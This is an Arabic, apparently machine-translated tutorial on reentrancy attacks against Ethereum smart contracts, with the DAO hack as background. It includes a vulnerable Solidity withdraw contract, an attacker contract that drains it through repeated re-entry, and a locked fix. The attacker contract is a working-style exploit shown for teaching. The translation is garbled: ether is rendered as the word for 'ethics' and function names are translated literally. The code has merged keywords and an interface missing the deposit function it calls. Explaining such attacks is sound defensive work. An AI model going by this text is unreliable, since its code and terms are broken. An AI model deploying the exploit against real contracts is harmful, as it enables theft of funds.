ما هو هجوم العودة وكيف يعمل؟

بعض أكبر الاختراقات في صناعة blockchain ، حيث سُرقت ما قيمته ملايين الدولارات من الرموز المميزة للعملات المشفرة ، نتجت عن هجمات إعادة الدخول. في حين أن هذه الاختراقات أصبحت أقل شيوعًا في السنوات الأخيرة ، إلا أنها لا تزال تشكل تهديدًا كبيرًا لتطبيقات ومستخدمي blockchain.

إذن ما هي بالضبط هجمات العودة؟ كيف يتم نشرهم؟ وهل هناك أي إجراءات يمكن للمطورين اتخاذها لمنع حدوثها؟

ما هو هجوم العودة؟

يحدث هجوم العودة عندما وظيفة عقد ذكية ضعيفة إجراء مكالمة خارجية لعقد ضار ، مما يؤدي إلى التخلي مؤقتًا عن التحكم في تدفق المعاملة. ثم يستدعي العقد الضار بشكل متكرر وظيفة العقد الذكي الأصلي قبل أن ينتهي من التنفيذ أثناء استنزاف أمواله.

بشكل أساسي ، تتبع معاملة السحب على Ethereum blockchain دورة من ثلاث خطوات: تأكيد الرصيد والتحويل وتحديث الرصيد. إذا تمكن المجرم الإلكتروني من اختطاف الدورة قبل تحديث الرصيد ، فيمكنه سحب الأموال بشكل متكرر حتى يتم استنزاف المحفظة.

أحد أكثر عمليات اختراق blockchain شهرة ، اختراق Ethereum DAO ، كما تم تغطيته بواسطة

كوينديسك، كان هجوم إعادة الدخول الذي أدى إلى خسارة أكثر من 60 مليون دولار من الأخلاق وتغيير جذريًا في مسار ثاني أكبر عملة مشفرة.

كيف يعمل هجوم العودة؟

تخيل بنكًا في بلدتك حيث يحتفظ السكان المحليون الفاضلون بأموالهم ؛ سيولتها الإجمالية 1 مليون دولار. ومع ذلك ، لدى البنك نظام محاسبة معيب - ينتظر الموظفون حتى المساء لتحديث الأرصدة المصرفية.

يزور صديقك المستثمر المدينة ويكتشف الخلل المحاسبي. يقوم بإنشاء حساب ويودع 100،000 دولار. بعد يوم واحد ، قام بسحب 100000 دولار. بعد ساعة قام بمحاولة أخرى لسحب 100،000 دولار. نظرًا لأن البنك لم يقم بتحديث رصيده ، فإنه لا يزال يقرأ 100،000 دولار. لذلك حصل على المال. يفعل هذا بشكل متكرر حتى لا يتبقى أموال. يدرك الموظفون فقط أنه لا يوجد مال عندما يوازنون الكتب في المساء.

في سياق العقد الذكي ، تسير العملية على النحو التالي:

1. يحدد مجرم الإنترنت العقد الذكي "X" الذي يحتوي على ثغرة أمنية.
2. يبدأ المهاجم معاملة شرعية للعقد الهدف ، X ، لإرسال أموال إلى عقد ضار ، "Y." أثناء التنفيذ ، تستدعي Y الوظيفة الضعيفة في X.
3. يتم إيقاف تنفيذ عقد X مؤقتًا أو تأخيره حيث ينتظر العقد التفاعل مع الحدث الخارجي
4. أثناء إيقاف التنفيذ مؤقتًا ، يقوم المهاجم باستدعاء نفس الوظيفة الضعيفة بشكل متكرر في X ، مما يؤدي مرة أخرى إلى تنفيذها عدة مرات قدر الإمكان
5. مع كل إعادة دخول ، يتم التلاعب بحالة العقد ، مما يسمح للمهاجم باستنزاف الأموال من X إلى Y.
6. بمجرد استنفاد الأموال ، تتوقف إعادة الدخول ، ويكتمل التنفيذ المتأخر لـ X أخيرًا ، ويتم تحديث حالة العقد بناءً على آخر إعادة دخول.

بشكل عام ، يستغل المهاجم بنجاح ثغرة إعادة الدخول لصالحه ، ويسرق الأموال من العقد.

مثال على هجوم العودة

فكيف بالضبط يمكن أن يحدث هجوم إعادة الدخول تقنيًا عند نشره؟ هذا عقد ذكي افتراضي مع بوابة عودة. سنستخدم التسمية البديهية لتسهيل المتابعة.

// Vulnerable contract with a reentrancy vulnerability
pragmasolidity ^0.8.0;
contract VulnerableContract {
 mapping(address => uint256) private balances;
functiondeposit() publicpayable{
 balances[msg.sender] += msg.value;
 }
functionwithdraw(uint256 amount) public{
require(amount <= balances[msg.sender], "Insufficient balance");
 (bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
 balances[msg.sender] -= amount;
 }
}

ال عقد ضعيف يتيح للمستخدمين إيداع eth في العقد باستخدام إيداع وظيفة. يمكن للمستخدمين بعد ذلك سحب الأخلاق المودعة باستخدام ملف ينسحب وظيفة. ومع ذلك ، هناك ثغرة في إعادة الدخول في ينسحب وظيفة. عندما ينسحب المستخدم ، ينقل العقد المبلغ المطلوب إلى عنوان المستخدم قبل تحديث الرصيد ، مما يخلق فرصة للمهاجم لاستغلاله.

الآن ، هذا ما سيبدو عليه العقد الذكي للمهاجم.

// Attacker's contract to exploit the reentrancy vulnerability
pragmasolidity ^0.8.0;
interfaceVulnerableContractInterface{
functionwithdraw(uint256 amount)external;
}
contract AttackerContract {
 VulnerableContractInterface private vulnerableContract;
 address private targetAddress;
constructor(address _vulnerableContractAddress) {
 vulnerableContract = VulnerableContractInterface(_vulnerableContractAddress);
 targetAddress = msg.sender;
 }
// Function to trigger the attack
functionattack() publicpayable{
// Deposit some ether to the vulnerable contract
vulnerableContract.deposit{value: msg.value}();
// Call the vulnerable contract's withdraw function
vulnerableContract.withdraw(msg.value);
 }
// Receive function to receive funds from the vulnerable contract
 receive() external payable {
 if (address(vulnerableContract).balance >= 1 ether) {
// Reenter the vulnerable contract's withdraw function
vulnerableContract.withdraw(1 ether);
 }
 }
// Function to steal the funds from the vulnerable contract
functionwithdrawStolenFunds() public{
require(msg.sender == targetAddress, "Unauthorized");
 (bool success, ) = targetAddress.call{value: address(this).balance}("");
require(success, "Transfer failed");
 }
}

عندما يتم شن الهجوم:

1. ال عقد مهاجم يأخذ عنوان عقد ضعيف في منشئها ويخزنها في العقد عامل.
2. ال هجوم يقوم المهاجم باستدعاء الوظيفة ، حيث يقوم بإيداع بعض الأخلاقيات في ملف عقد ضعيف باستخدام إيداع وظيفة ثم استدعاء على الفور ينسحب وظيفة عقد ضعيف.
3. ال ينسحب تعمل في عقد ضعيف ينقل المبلغ المطلوب من الأخلاق إلى المهاجم عقد مهاجم قبل تحديث الرصيد ، ولكن نظرًا لإيقاف عقد المهاجم مؤقتًا أثناء المكالمة الخارجية ، فإن الوظيفة لم تكتمل بعد.
4. ال يستلم تعمل في عقد مهاجم يتم تشغيله لأن ملف عقد ضعيف أرسل eth إلى هذا العقد أثناء المكالمة الخارجية.
5. تتحقق وظيفة الاستلام مما إذا كان ملف عقد مهاجم الرصيد هو على الأقل 1 إيثر (المبلغ المراد سحبه) ، ثم يعيد إدخال عقد ضعيف من خلال استدعاء ملف ينسحب تعمل مرة أخرى.
6. كرر الخطوات من ثلاثة إلى خمسة حتى عقد ضعيف نفاد الأموال ويجمع عقد المهاجم قدرًا كبيرًا من الأخلاقيات.
7. أخيرًا ، يمكن للمهاجم استدعاء سحب الأموال المسروقة تعمل في عقد مهاجم لسرقة جميع الأموال المتراكمة في عقدهم.

يمكن أن يحدث الهجوم بسرعة كبيرة ، اعتمادًا على أداء الشبكة. عند تضمين عقود ذكية معقدة مثل DAO Hack ، مما أدى إلى هارد فورك لـ Ethereum Ethereum و Ethereum Classic، يحدث الهجوم على مدى عدة ساعات.

كيفية منع هجوم العودة

لمنع هجوم إعادة الدخول ، نحتاج إلى تعديل العقد الذكي الضعيف لاتباع أفضل الممارسات لتطوير العقود الذكية الآمنة. في هذه الحالة ، يجب أن نطبق نمط "check-effects-التفاعلات" كما في الكود أدناه.

// Secure contract with the "checks-effects-interactions" pattern
pragmasolidity ^0.8.0;
contract SecureContract {
 mapping(address => uint256) private balances;
 mapping(address => bool) private isLocked;
functiondeposit() publicpayable{
 balances[msg.sender] += msg.value;
 }
functionwithdraw(uint256 amount) public{
require(amount <= balances[msg.sender], "Insufficient balance");
require(!isLocked[msg.sender], "Withdrawal in progress");

// Lock the sender's account to prevent reentrancy
 isLocked[msg.sender] = true;
// Perform the state change
 balances[msg.sender] -= amount;
 // Interact with the external contract after the state change
 (bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
// Unlock the sender's account
 isLocked[msg.sender] = false;
 }
}

في هذا الإصدار الثابت ، قدمنا ​​ملف مغلق رسم الخرائط لتتبع ما إذا كان حساب معين في طور السحب. عندما يبدأ المستخدم في السحب ، يتحقق العقد مما إذا كان حسابه مغلقًا (! مغلق [msg.sender]) ، مشيرًا إلى عدم وجود سحب آخر من نفس الحساب قيد التقدم حاليًا.

إذا لم يتم قفل الحساب ، يستمر العقد مع تغيير الحالة والتفاعل الخارجي. بعد تغيير الحالة والتفاعل الخارجي ، يتم فتح الحساب مرة أخرى ، مما يسمح بعمليات السحب المستقبلية.

أنواع هجمات العودة

بشكل عام ، هناك ثلاثة أنواع رئيسية من هجمات العودة بناءً على طبيعة الاستغلال.

1. هجوم عودة واحد: في هذه الحالة ، فإن الوظيفة الضعيفة التي يستدعيها المهاجم بشكل متكرر هي نفسها التي تكون عرضة لبوابة إعادة الدخول. الهجوم أعلاه هو مثال على هجوم عودة واحد ، والذي يمكن منعه بسهولة عن طريق تنفيذ عمليات فحص وإقفال مناسبة في التعليمات البرمجية.
2. هجوم متعدد الوظائف: في هذا السيناريو ، يستفيد المهاجم من وظيفة ضعيفة لاستدعاء وظيفة مختلفة في نفس العقد الذي يشترك في حالة مع الحالة الضعيفة. الوظيفة الثانية ، التي يطلق عليها المهاجم ، لها بعض التأثير المرغوب فيه ، مما يجعلها أكثر جاذبية للاستغلال. يعد هذا الهجوم أكثر تعقيدًا ويصعب اكتشافه ، لذا يلزم إجراء فحوصات وأقفال صارمة عبر الوظائف المترابطة للتخفيف من حدته.
3. هجوم العقود المتقاطعة: يحدث هذا الهجوم عندما يتفاعل عقد خارجي مع عقد ضعيف. أثناء هذا التفاعل ، يتم استدعاء حالة العقد المعرض للخطر في العقد الخارجي قبل تحديثه بالكامل. يحدث ذلك عادةً عندما تشترك عدة عقود في نفس المتغير ويقوم البعض بتحديث المتغير المشترك بشكل غير آمن. تأمين بروتوكولات الاتصال بين العقود والدورية تدقيقات العقود الذكية يجب تنفيذها للتخفيف من هذا الهجوم.

يمكن أن تظهر هجمات العودة بأشكال مختلفة ، وبالتالي تتطلب تدابير محددة لمنع كل منها.

البقاء في مأمن من هجمات العودة

تسببت هجمات إعادة الدخول في خسائر مالية كبيرة وقوضت الثقة في تطبيقات blockchain. لحماية العقود ، يجب على المطورين اعتماد أفضل الممارسات بجدية لتجنب الثغرات الأمنية المتعلقة بإعادة الدخول.

يجب عليهم أيضًا تنفيذ أنماط سحب آمنة ، واستخدام مكتبات موثوق بها ، وإجراء عمليات تدقيق شاملة لتعزيز دفاع العقد الذكي بشكل أكبر. بالطبع ، البقاء على اطلاع حول التهديدات الناشئة والاستباقية مع الجهود الأمنية يمكن أن يضمن دعمها لسلامة النظم البيئية blockchain أيضًا.